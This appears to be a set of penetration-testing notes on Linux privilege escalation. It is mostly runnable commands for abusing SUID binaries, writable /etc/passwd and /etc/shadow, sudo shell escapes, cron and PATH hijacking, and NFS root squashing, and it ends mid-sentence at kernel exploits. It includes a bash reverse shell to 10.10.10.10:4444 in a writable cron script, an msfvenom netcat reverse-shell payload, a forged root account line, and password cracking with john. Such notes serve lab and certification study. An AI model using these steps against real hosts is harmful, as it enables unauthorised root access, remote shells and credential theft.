Enumeration

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

Abusing SUID/GUID Files

Finding SUID Binaries

```
find / -perm -u=s -type f 2>/dev/null
```

```
find / -user root -perm -4000 -exec ls -ldb {} \;
```

Exploiting Writeable /etc/passwd

The /etc/passwd file should have general read permission as many command utilities use it to map user IDs to user names. However, write access to the /etc/passwd must only limit for the superuser/root account. When it doesn't, or a user has erroneously been added to a write-allowed group. We have a vulnerability that can allow the creation of a root user that we can access.

```
test:x:0:0:root:/root:/bin/bash
```

It's simple really, if we have a writable /etc/passwd file, we can write a new line entry according to the above formula and create a new user! We add the password hash of our choice, and set the UID, GID and shell to root. Allowing us to log in as our own root user.

```
openssl passwd -1 -salt [salt] [password]
```

```
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
```

Escaping Vi Editor

You should use "sudo -l" to list what commands you're able to use as a super user on that account. Sometimes, like this, you'll find that you're able to run certain commands as a root user without the root password. This can enable you to escalate privileges.

If you find a misconfigured binary during your enumeration, or when you check what binaries a user account you have access to can access, a good place to look up how to exploit them is GTFOBins.

https://gtfobins.github.io/

```
sudo vi
```

```
:!sh
```

Exploiting Crontab

We can use the command "cat /etc/crontab" to view what cron jobs are scheduled. This is something you should always check manually whenever you get a chance, especially if LinEnum, or a similar script, doesn't find anything.

msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R

echo [MSFVENOM OUTPUT] > [autoscript.sh_cron name]

nc -lvnp 8888

Exploiting PATH Variable

PATH is an environmental variable in Linux and Unix-like operating systems which specifies directories that hold executable programs. When the user runs any command in the terminal, it searches for executable files with the help of the PATH Variable in response to commands executed by a user.

We can re-write the PATH variable to a location of our choosing! So when the SUID binary calls the system shell to run an executable, it runs one that we've written instead.

echo "[whatever command we want to run]" > [name of the executable we're imitating]

Now, we need to change the PATH variable, so that it points to the directory where we have our imitation "ls" stored! We do this using the command "**export PATH=/tmp:$PATH**"

Further Reading

- https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
- https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html
- https://payatu.com/guide-linux-privilege-escalation

Service Exploits

Common MySql Exploit -> https://www.exploit-db.com/exploits/1518

Weak File Permissions - Readable /etc/shadow

ls -l /etc/shadow

cat /etc/shadow

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

su root

Weak File Permissions - Writable /etc/shadow

mkpasswd -m sha-512 newpasswordhere

Edit the /etc/shadow file and replace the original root user's password hash with the one you just generated.

Weak File Permissions - Writable /etc/passwd

The /etc/passwd file contains information about user accounts. It is world-readable, but usually only writable by the root user. Historically, the /etc/passwd file contained user password hashes, and some versions of Linux will still allow password hashes to be stored there.

openssl passwd newpasswordhere

su root

Alternatively, copy the root user's row and append it to the bottom of the file, changing the first instance of the word "root" to "newroot" and placing the generated password hash between the first and second colon (replacing the "x").

su newroot

Sudo - Shell Escape Sequences

List the programs which sudo allows your user to run:

sudo –l

Visit GTFOBins (https://gtfobins.github.io) and search for some of the program names. If the program is listed with "sudo" as a function, you can use it to elevate privileges, usually via an escape sequence.

Cron Jobs - File Permissions

The system-wide crontab is located at /etc/crontab.

If the cron is world-writable

```
#!/bin/bash

bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
```

SUID / SGID Executables - Known Exploits

Find all the SUID/SGID executables on the Debian VM:

```
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
```

Try to find a known exploit for versions of softwares. Exploit-DB, Google, and GitHub are good places to search.

SUID / SGID Executables - Shared Object Injection

The /usr/local/bin/suid-so SUID executable is vulnerable to shared object injection.

SUID / SGID Executables - Environment Variables

Passwords & Keys - History Files

If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file.

```
cat ~/.*history | less
```

Passwords & Keys - Config Files

Config files often contain passwords in plaintext or other reversible formats.

Passwords & Keys - SSH Keys

Sometimes users make backups of important files but fail to secure them with the correct permissions.

Look for hidden files & directories in the system root:

```
ls –la /
```

NFS

```
mkdir /tmp/nfs

mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

chmod +xs /tmp/nfs/shell.elf

/tmp/shell.elf
```

Kernel Exploits

Kernel exploits can leave the system in an unstable state, which is why you should only run them as a last resort.

Run the Linux Exploit Suggester 2 tool to identify potential kernel exploits on the current system: